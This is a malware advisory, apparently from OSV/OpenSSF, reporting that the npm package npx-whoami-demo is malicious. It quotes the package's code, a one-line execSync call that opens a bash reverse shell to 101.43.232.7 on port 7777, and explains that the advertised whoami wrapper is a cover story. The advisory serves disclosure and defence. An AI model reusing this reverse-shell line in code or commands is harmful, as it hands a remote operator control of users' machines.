OpenSSF/OSV advisory MAL-2026-5772 confirms this npm version as malicious. The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes `require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' })`. This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with...
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Summary
Malicious code in npx-whoami-demo (npm)
Details
The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes `require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' })`. This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs `whoami`, but no `whoami` invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via `npx npx-whoami-demo`, which is the documented usage pattern.
Decision reason
OSV/OpenSSF confirms npx-whoami-demo@1.0.0 as malicious package MAL-2026-5772. Malicious code in npx-whoami-demo (npm)